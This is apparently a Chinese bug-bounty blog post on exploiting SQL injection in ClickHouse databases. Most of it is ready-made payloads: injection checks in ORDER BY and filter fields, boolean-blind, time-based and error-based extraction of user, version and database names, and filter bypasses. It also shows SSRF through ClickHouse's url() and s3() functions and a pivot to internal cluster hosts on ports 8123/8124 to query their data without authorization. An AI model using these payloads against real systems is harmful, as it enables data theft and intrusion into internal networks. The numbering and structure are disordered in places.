前言
团队师傅在国内外SRC的clickhouse的sql注入挖掘中,累计金额已超30w+,秉持一个技术forfree的思想,还是抽时间整理了一些技术点,希望能够对各位师傅带来一些帮助。
Clickhouse的介绍以及特点
Clickhouse-sql注入的出现点
2、自定义热力图分析
clickhouse的常规利用
1、如何判断/证明存在sql注入,大概整理了下面3点
1)对于存在筛选的功能,会存在一些时间参数以及排序,此种情况下,使用单引号拼接进行注入判断,最明显的为时间参数,报错注入时会把sql语句报出,盲注则会返回“系统错误”以及不同的响应长度等信息,如:
对于此类,总结下就是对于数据包中的参数去进行单双引号的fuzz,如果能有报错或者返回包长度不一样,也可以初步推测可能存在sql注入,推荐一个bp插件(大家应该都用过):https://github.com/smxiazi/xia_sql,为减少误报和覆盖范围对插件稍做了下改动。
A:orderby后面的列可直接拼接sql语句
当"orderby":”adShow,1”返回true,"orderby":”adShow,x”或"orderby":”adShow,0”返回false时,大概率存在注入,orderby后面直接跟sql语句即可注出数据。
B:一些情况下orderby后面不可用逗号去连续写sql语句,此时判断更简单:
当"orderby":”1”返回true,"orderby":”x”或"orderby":”0”返回false时,大概率存在注入,orderby后面直接跟sql语句即可注出数据。
注意:根据排序的特性,此处的0或者x表示表里面存在的列数-列名,如果存在sql注入,输入一个大于表里面的列数或者表里面不存在的列名,sql语句均会进行报错。
3)还是以筛选为例,仔细观察下数据分析筛选相关功能的时候,会发现其实筛选都会根据列去进行筛选,如果没做防护,也会存在sql注入:
此处会有个小细节,一般筛选的时候,会有个type或者op的字段,type表示类型,对应有int、string等(有些可能用数字1、2、3这种代替),对于一些注入的判断,需要去对类型进行fuzz,如果默认数据包对应的类型不报错,可能type换成其他类型时,也可能会报错,从而进行sql注入利用。
Clickhouse有个特性,toInt64(if(1=1,1,exp(71000)))时为true,toInt64(if(1=2,1,exp(71000)))时为false,因此我们可以用toInt64(if(1=1,1,exp(71000)))去进行快速的sql注入证明:
判断注入点
SELECT * from my_new_table order by CAST(create_time AS String); 使用CAST转换字段类型后正常排序
SELECT * from my_new_table order by sleep(1); 延时
SELECT * from my_new_table order by if(1=1,id,1); 当存在字段id时使用if正常排序
SELECT * from my_new_table order by name;select sleep(1);堆叠延时
SELECT * from my_new_table order by (SELECT COUNT(fuzzBits('1', 0.001)) FROM numbers(10000000))
SELECT * from my_new_table order by id,1 不报错
SELECT * from my_new_table order by(1=1?1:1) 和 SELECT * from my_new_table order by if(1,1,1)效果相同,某些情况下如果if被禁用可用来绕过
boole盲注
SELECT * from my_new_table order by toInt64(exp(1)) 不报错
SELECT * from my_new_table order by toInt64(exp(710)) 报错
SELECT id from my_new_table order by toInt64(if(1=2,1,exp(71000)))
SELECT id from my_new_table order by hex(if(mid((select user()),1,1)='d','a','z'))=1
SELECT/**/POSITION('22'/**/IN/**/version()) 判断当前数据版本
SELECT/**/POSITION('22'/**/IN/**/user()) 判断当前用户信息,若括号过滤可用current_user代替
延时注入(sleep和sleepEachRow均可用)
SELECT id from my_new_table order by if(1=2,1,sleep(1)) sql注入延时判断
SELECT id from my_new_table order by if(1=2,1,(SELECT COUNT(fuzzBits('1', 0.001)) FROM numbers(10000000))) sql注入判断
SELECT id from my_new_table order by (select/**/sleep((database()/**/like/**/'%d%')?1:0)) 获取数据库
sleep(version() like’%' 获取数据库版本
sleep(user() like’%’ 获取用户,若括号过滤可用current_user代替
sleepEachRow(user()like'%default%'
if(1=1,1,sleep/**/(if(left(database(),7)='default',3,0))) 获取数据库
报错注入
select data_path from system.databases where 1=1 order by 1=(char(126)||char(126)||CAST((SELECT name from system.databases limit 1 OFFSET 1) AS String)||char(126)||char(126))
'||currentDatabase()||’ 获取当前数据库
'||user()||’ 获取当前用户,,若括号过滤可用current_user代替
select currentDatabase() 获取当前数据库
select user() 获取当前用户,,若括号过滤可用current_user代替
以上的payload都是针对排序后面直接拼接sql语句的场景,如果是通过单双引号去判断的sql注入,只需要通过1‘and’1’=‘1或者1’or’1’=’1去进行闭合即可拼接sql语句获取信息。
1、SSRF的利用方式及绕过
Clickhouse的SSRF根据目前实战的经验来看,主要是由URL函数和S3函数未禁用导致的,URL函数未禁用的情况居多,S3函数取决于业务是否需要提供 S3 特定的功能。
1)由URL函数引起的SSRF漏洞
Clickhouse官方文档针对URL函数的说明及用法如下:
https://clickhouse.com/docs/en/sql-reference/table-functions/url
针对报错注入场景,使用select * from url(‘https://www.baidu.com', CSV, 'column1 String, column2 UInt32’) 回显百度主页的内容,及证明存在ssrf漏洞
若是盲注,若需要SSRF漏洞利用,则需要进行字符串截取(难度较大,危害可能会降低),toInt64(if((select substring(c,1,1) from url(‘https://www.baidu.com',TabSeparated,'c String') limit 0,1)='A',1,exp(71000)))
2)由S3函数引起的SSRF漏洞:https://clickhouse.com/docs/en/sql-reference/table-functions/s3
s3('https://www.baidu.com',RawBLOB)
SELECT * FROM s3('https://datasets-documentation.s3.eu-west-3.amazonaws.com/aapl_stock.csv','CSVWithNames’) LIMIT 5;
s3('https://www.baidu.com','CSVWithNames'
SELECT * from `url\\\\\\\\x23`(‘https://www.baidu.com',TSV,'column1 String’)
(select/*//**/1,*,1/**/from/*//**/url('https://www.baidu.com',CSV,'column1 String') ) as a
通过SSRF证明内网连通性以及访问元数据相关的危害不多做说明,大家需要注意点到为止即可。我补充下敏感数据层面的深入利用:
大概思路就是:先通过查询system.clusters表获取数据库集群的ip信息,再利用clickouse默认会使用一个组件导致会开启8123或者8124端口的特性,从而可以去未授权查询数据库集群里面的所有数据信息:
select * from system.clusters 返回数据库集群ip以及端口开放情况
SELECT * from url(http:/192.168.1.1:8123?guery=show tables',CSV,'column1 String’) 利用8123或者8124端口,通过query后拼接sql语句未授权查询数据库信息(理论上是DBA权限)
关于后续
基础的技术分享基本就到此结束了,后续有想到再做补充(写文章的时间东拼西凑,思路比较乱)。
关注我们
还在等什么?赶紧点击下方名片开始学习吧
知 识 星 球
推 荐 阅 读